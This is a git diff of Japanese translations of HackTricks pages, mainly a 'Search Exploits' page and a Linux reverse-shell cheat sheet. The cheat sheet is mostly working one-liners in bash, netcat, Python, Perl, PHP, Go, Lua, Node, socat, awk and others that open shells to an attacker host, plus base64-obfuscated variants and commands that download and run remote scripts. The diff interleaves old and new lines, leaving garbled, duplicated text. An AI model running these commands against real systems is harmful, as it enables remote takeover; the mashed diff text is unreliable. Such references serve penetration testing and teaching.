* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)を**フォロー**してください。
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details> </details>
{% endhint %}

View file

@ -1,36 +1,37 @@
# 脆弱性検索 # Search Exploits
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>Support HackTricks</summary>
HackTricksをサポートする他の方法 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
- [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする
- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details> </details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=search-exploits)を使用して、世界で最も高度なコミュニティツールによってパワードされた**ワークフローを簡単に構築**および**自動化**します。\ Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=search-exploits) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
今すぐアクセスしてください: Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=search-exploits" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=search-exploits" %}
### ブラウザ ### Browser
常に「google」などで検索してください:**\<service\_name> \[version] exploit** 常に「google」や他のサービスで検索します: **\<service\_name> \[version] exploit**
また、[https://exploits.shodan.io/](https://exploits.shodan.io)から**shodanの脆弱性検索**を試してみてください。 また、[https://exploits.shodan.io/](https://exploits.shodan.io) の**shodan** **exploit search**も試してみてください。
### Searchsploit ### Searchsploit
**コンソールからexploitdbのサービスの脆弱性を検索**するために便利です。 **exploitdb**からコンソールでサービスのエクスプロイトを検索するのに便利です。
```bash ```bash
#Searchsploit tricks #Searchsploit tricks
searchsploit "linux Kernel" #Example searchsploit "linux Kernel" #Example
@ -54,30 +55,31 @@ msf> search platform:windows port:135 target:XP type:exploit
### Vulners ### Vulners
vulners データベースでも検索できます: [https://vulners.com/](https://vulners.com) vulnersデータベースでも検索できます: [https://vulners.com/](https://vulners.com)
### Sploitus ### Sploitus
これは他のデータベースで脆弱性を検索します: [https://sploitus.com/](https://sploitus.com) これは他のデータベースでのエクスプロイトを検索します: [https://sploitus.com/](https://sploitus.com)
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=search-exploits) を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築** および **自動化** してください。\ [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=search-exploits)を使用して、世界で最も高度なコミュニティツールによって駆動される**ワークフローを簡単に構築し、**自動化**します。\
今すぐアクセス: 今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=search-exploits" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=search-exploits" %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>HackTricksをサポートする</summary>
HackTricks をサポートする他の方法: * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricks で企業を宣伝** したい場合や **HackTricks をPDFでダウンロード** したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* [**公式PEASS & HackTricksのグッズ**](https://peass.creator-spring.com) を入手してください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つけてください
* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) をフォローしてください。
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の github リポジトリに PR を提出して、あなたのハッキングトリックを共有してください。
</details> </details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# シェル - Linux # Shells - Linux
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>**htARTEHackTricks AWS Red Team Expert**</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>**でゼロからヒーローまでAWSハッキングを学ぶ**</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
HackTricks をサポートする他の方法: * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricks で企業を宣伝したい**または**HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
* **💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f)または[**telegram グループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**する
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出**してください。
</details> </details>
{% endhint %}
**Try Hard Security Group** **Try Hard Security Group**
@ -22,11 +23,11 @@ HackTricks をサポートする他の方法:
*** ***
**これらのシェルに関する質問がある場合は、** [**https://explainshell.com/**](https://explainshell.com) **で確認できます** **これらのシェルについて質問がある場合は、** [**https://explainshell.com/**](https://explainshell.com) **を確認してください。**
## フルTTY ## Full TTY
**逆シェルを取得したら、[**このページを読んでフルTTYを取得**](full-ttys.md)**してください。** **リバースシェルを取得したら、**[ **フルTTYを取得するためにこのページを読んでください**](full-ttys.md)**。**
## Bash | sh ## Bash | sh
```bash ```bash
@ -41,9 +42,9 @@ exec 5<>/dev/tcp/<ATTACKER-IP>/<PORT>; while read line 0<&5; do $line 2>&5 >&5;
#after getting the previous shell to get the output to execute #after getting the previous shell to get the output to execute
exec >&0 exec >&0
``` ```
### シンボルセーフシェル 他のシェルも確認することを忘れないでください: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, および bash。
他のシェルもチェックすることを忘れないでくださいsh、ash、bsh、csh、ksh、zsh、pdksh、tcsh、およびbash。 ### シンボルセーフシェル
```bash ```bash
#If you need a more stable connection do: #If you need a more stable connection do:
bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1' bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'
@ -52,26 +53,26 @@ bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'
#B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0 #B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0
echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null
``` ```
#### シェルの説明 #### Shellの説明
1. **`bash -i`**: このコマンドの部分は、インタラクティブ(`-i`)なBashシェルを開始します。 1. **`bash -i`**: このコマンドの部分は、インタラクティブな(`-i`Bashシェルを開始します。
2. **`>&`**: このコマンドの部分は、**標準出力`stdout`)と標準エラー(`stderr`)を同じ宛先にリダイレクト**するための短縮表記です。 2. **`>&`**: このコマンドの部分は、**標準出力**`stdout`)と**標準エラー**`stderr`)を**同じ宛先**にリダイレクトするための省略記法です。
3. **`/dev/tcp/<攻撃者のIP>/<ポート>`**: これは、指定されたIPアドレスとポートへのTCP接続を表す特別なファイルです。 3. **`/dev/tcp/<ATTACKER-IP>/<PORT>`**: これは、**指定されたIPアドレスとポートへのTCP接続を表す特別なファイル**です。
* **出力とエラーストリームをこのファイルにリダイレクト**することで、コマンドはインタラクティブシェルセッションの出力を攻撃者のマシンに送信します。 * **出力とエラーストリームをこのファイルにリダイレクトすることによって**、コマンドはインタラクティブシェルセッションの出力を攻撃者のマシンに送信します。
4. **`0>&1`**: このコマンドの部分は、**標準入力(`stdin`)を標準出力(`stdout`)と同じ宛先にリダイレクト**します。 4. **`0>&1`**: このコマンドの部分は、**標準入力(`stdin`)を標準出力(`stdout`)と同じ宛先にリダイレクトします**
### ファイルを作成して実行 ### ファイルを作成して実行
```bash ```bash
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1<ATTACKER-IP>/<PORT> 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh; echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1<ATTACKER-IP>/<PORT> 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh;
wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh
``` ```
## フォワードシェル ## Forward Shell
LinuxベースのWebアプリケーション内の**Remote Code Execution (RCE)**脆弱性を処理する際、逆シェルを達成することがiptablesルールや複雑なパケットフィルタリングメカニズムなどのネットワーク防御によって妨げられることがあります。そのような制約のある環境では、より効果的に侵害されたシステムとやり取りするためにPTY擬似端末シェルを確立する代替手段があります。 Linuxベースのウェブアプリケーション内の**Remote Code Execution (RCE)** 脆弱性に対処する際、リバースシェルの取得はiptablesルールや複雑なパケットフィルタリングメカニズムなどのネットワーク防御によって妨げられることがあります。このような制約のある環境では、PTP擬似端末シェルを確立して、侵害されたシステムとより効果的に対話する代替アプローチが含まれます。
この目的のための推奨ツールは、[toboggan](https://github.com/n3rada/toboggan.git)であり、これにより対象環境とのやり取りが簡素化されます。 この目的に推奨されるツールは [toboggan](https://github.com/n3rada/toboggan.git) で、ターゲット環境との対話を簡素化します。
tobogganを効果的に利用するには、対象システムのRCEコンテキストに合わせたPythonモジュールを作成します。例えば、`nix.py`という名前のモジュールは次のように構造化される可能性があります。 tobogganを効果的に利用するには、ターゲットシステムのRCEコンテキストに合わせたPythonモジュールを作成します。例えば、`nix.py`という名前のモジュールは次のように構成できます:
```python3 ```python3
import jwt import jwt
import httpx import httpx
@ -99,17 +100,17 @@ return response.text
```shell ```shell
toboggan -m nix.py -i toboggan -m nix.py -i
``` ```
直接インタラクティブシェルを活用するには、Burpsuite統合のために`-b`を追加し、より基本的なrceラッパーにするために`-i`を削除できます。 直接インタラクティブシェルを利用するには、Burpsuite統合のために`-b`を追加し、より基本的なrceラッパーのために`-i`を削除できます。
別の可能性は、`IppSec`のフォワードシェル実装[**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell)を使用することです 別の可能性として、`IppSec`のフォワードシェル実装を使用することができます [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell)
次のように変更する必要があります: 次の項目を修正する必要があります:
- 脆弱なホストのURL * 脆弱なホストのURL
- ペイロードの接頭辞と接尾辞(あれば * ペイロードのプレフィックスとサフィックス(ある場合
- ペイロードの送信方法(ヘッダー?データ?追加情報?) * ペイロードの送信方法(ヘッダー?データ?追加情報?)
その後、**コマンドを送信**したり、**`upgrade`コマンドを使用**して完全なPTYを取得したりできますパイプは約1.3秒の遅延で読み取られ、書き込まれることに注意してください)。 その後、**コマンドを送信**するか、**`upgrade`コマンドを使用**してフルPTYを取得できますパイプは約1.3秒の遅延で読み書きされることに注意してください)。
## Netcat ## Netcat
```bash ```bash
@ -121,13 +122,11 @@ rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | nc <ATTACKER-IP> <
``` ```
## gsocket ## gsocket
[https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/)で確認してください。 [https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/) で確認してください。
```bash ```bash
bash -c "$(curl -fsSL gsocket.io/x)" bash -c "$(curl -fsSL gsocket.io/x)"
``` ```
## Telnet ## テルネット
Telnetは、ネットワーク上でコンピューターにアクセスするためのプロトコルです。通常、Telnetを使用してリモートシステムに接続し、コマンドを実行することができます。 Telnetは、セキュリティ上のリスクがあるため、代わりにSSHなどのより安全なプロトコルを使用することが推奨されています。
```bash ```bash
telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f
@ -140,16 +139,12 @@ rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | telnet <ATTACKER-I
```bash ```bash
while true; do nc -l <port>; done while true; do nc -l <port>; done
``` ```
**被害者** コマンドを送信するには、書き込み、エンターを押し、CTRL+Dを押しますSTDINを停止するため
```bash **被害者**
コマンドを書き込んで、Enter キーを押し、CTRL+D キーを押してくださいSTDIN を停止するため)
```
```bash ```bash
export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X")`; sleep 1; done export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X")`; sleep 1; done
``` ```
## Python
## パイソン ## パイソン
```bash ```bash
#Linux #Linux
@ -158,9 +153,7 @@ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOC
#IPv6 #IPv6
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");' python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'
``` ```
## Perl ## パール
Perlは、多くのLinuxシステムでデフォルトでインストールされているスクリプト言語です。Perlスクリプトを使用することで、シェルコマンドと同様にシステムコマンドを実行し、システムリソースにアクセスすることができます。Perlは、シェルスクリプトよりも高度な機能を持ち、複雑なタスクを自動化するのに役立ちます。
```bash ```bash
perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
@ -171,8 +164,6 @@ ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
``` ```
## PHP ## PHP
PHP (PHP: Hypertext Preprocessor) は、主にWeb開発に使用されるスクリプト言語です。PHPは、HTMLに埋め込んで使用することができ、データベースとの連携やフォームの処理など、動的なWebページを作成するための機能を提供します。PHPは、サーバーサイドで実行されるため、ユーザーが直接コードを見ることはできません。
```php ```php
// Using 'exec' is the most common method, but assumes that the file descriptor will be 3. // Using 'exec' is the most common method, but assumes that the file descriptor will be 3.
// Using this method may lead to instances where the connection reaches out to the listener and then closes. // Using this method may lead to instances where the connection reaches out to the listener and then closes.
@ -184,30 +175,22 @@ php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
<?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.8/4444 0>&1'"); ?> <?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.8/4444 0>&1'"); ?>
``` ```
## Java ## ジャバ
Javaは、オブジェクト指向プログラミング言語であり、クロスプラットフォームで動作します。Javaは、セキュリティ、パフォーマンス、および信頼性に焦点を当てて設計されています。Javaは、Webアプリケーション、モバイルアプリケーション、ビッグデータテクロジーなど、さまざまな用途で広く使用されています。
```bash ```bash
r = Runtime.getRuntime() r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor() p.waitFor()
``` ```
## Ncat ## Ncat
Ncat is a feature-packed networking utility that reads and writes data across networks from the command line. It supports various protocols and offers many advanced features, making it a powerful tool for network debugging and exploration.
```bash ```bash
victim> ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl victim> ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl
attacker> ncat -v 10.0.0.22 4444 --ssl attacker> ncat -v 10.0.0.22 4444 --ssl
``` ```
## Golang ## ゴラン
## Golang
```bash ```bash
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
``` ```
## Lua ## ルア
Lua
```bash ```bash
#Linux #Linux
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');" lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
@ -215,8 +198,6 @@ lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','123
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()' lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
``` ```
## NodeJS ## NodeJS
NodeJSは、非同期イベント駆動のJavaScriptランタイム環境であり、サーバーサイドでのスクリプト実行に適しています。NodeJSは、Webアプリケーションやネットワークアプリケーションの開発に広く使用されています。
```javascript ```javascript
(function(){ (function(){
var net = require("net"), var net = require("net"),
@ -261,7 +242,7 @@ https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
``` ```
## OpenSSL ## OpenSSL
攻撃者Kali 攻撃者 (Kali)
```bash ```bash
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
@ -289,33 +270,25 @@ attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0 attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
``` ```
## Awk
## Awk ## Awk
```bash ```bash
awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
``` ```
## フィンガー ## Finger
**攻撃者** **攻撃者**
```bash ```bash
while true; do nc -l 79; done while true; do nc -l 79; done
``` ```
``` コマンドを送信するには、書き込み、エンターを押し、CTRL+Dを押しますSTDINを停止するため
コマンドを送信するには、それを書き留め、Enter キーを押し、CTRL+D キーを押しますSTDIN を停止するため)
**被害者** **被害者**
```
```bash ```bash
export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null')`; sleep 1; done export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null')`; sleep 1; done
export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done
``` ```
## Gawk ## Gawk
### Gawk
Gawkは、AWKプログラミング言語のGNU実装です。 AWKは、テキストとデータ処理のための強力なプログラミング言語であり、Gawkはその強化バージョンです。 Gawkは、Linuxシェルスクリプト内で使用されることがよくあります。
```bash ```bash
#!/usr/bin/gawk -f #!/usr/bin/gawk -f
@ -340,20 +313,20 @@ close(Service)
``` ```
## Xterm ## Xterm
これはポート6001であなたのシステムに接続しようとします これはポート6001であなたのシステムに接続しようとします:
```bash ```bash
xterm -display 10.0.0.1:1 xterm -display 10.0.0.1:1
``` ```
逆シェルをキャッチするために使用できるポート6001でリッスンする: リバースシェルをキャッチするには、次のコマンドを使用できますポート6001でリッスンします
```bash ```bash
# Authorize host # Authorize host
xhost +targetip xhost +targetip
# Listen # Listen
Xnest :1 Xnest :1
``` ```
## Groovy ## グルービー
by [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) 注意: JavaリバースシェルはGroovyでも動作します by [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) 注: Java リバースシェルはグルービーでも動作します
```bash ```bash
String host="localhost"; String host="localhost";
int port=8044; int port=8044;
@ -373,16 +346,17 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法 * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
